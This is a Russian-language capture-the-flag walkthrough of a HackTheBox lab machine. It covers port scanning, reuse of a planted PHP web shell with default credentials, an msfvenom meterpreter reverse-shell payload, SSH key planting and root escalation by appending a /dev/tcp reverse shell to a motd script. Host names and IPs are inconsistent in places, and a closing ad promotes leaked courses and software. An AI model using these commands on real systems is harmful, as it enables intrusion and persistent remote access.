
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.
В данной статье эксплуатируем чей-то бэкдор, получаем шелл через Luvit и возимся с SSH для LPE.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.174, который я добавляю в /etc/hosts.
10.10.10.181 fatty.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmapом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.181 --rate=500

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A traceback.htb -p22,80

На хосте работают служба SSH и веб сервер. Зайдя на веб сервер ничего не обнаружим, кроме послания.

Но находим что-то интересное в исходном коде.

Но погуглив данную строку, выходим на эту страницу github.


Entry Point
Перебирая данные файлы, определяем, что на сервер загружен файл smevk.php.

В исходном коде на гитхабе находим учетные данные по умолчанию и авторизуемся.


Давайте сгенерируем PHP шелл и запустим листенер.
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.60 LPORT=4321 -f raw > r.phpcat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php

Теперь загрузим шелл и обратимся к нему. Получаем сессию meterpreter.


USER
В домашней директории пользователя находим файлы и записку к ним.

А также от имени пользователя sysadmin можно запустить lua скрипт.

Давайте запустим шелл.

Для удобства кинем SSH ключ. Для этого сгенерируем пару открытый/закрытый и запишем открытый в authorized_keys.

А теперь подключимся с помощью закрытого и заберем флаг.

ROOT
Запустим скрипт базового перечисления LinPEAS. И в отчете найдем интересные файлы для записи.


Таким образом, файл /etc/update-motd.d/00-header выполняется каждый раз, когда происходит подключение по SSH. Давайте проверим с помощью pspy. Запустим данную утилиту и подключимся по SSH.

Давайте допишем реверс шелл в данный файл.
echo bash -i >& /dev/tcp/10.10.15.60/5432 0>&1 >> /etc/update-motd.d/00-header
Теперь сразу подключимся и увидим обратное подключение на наш хост.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.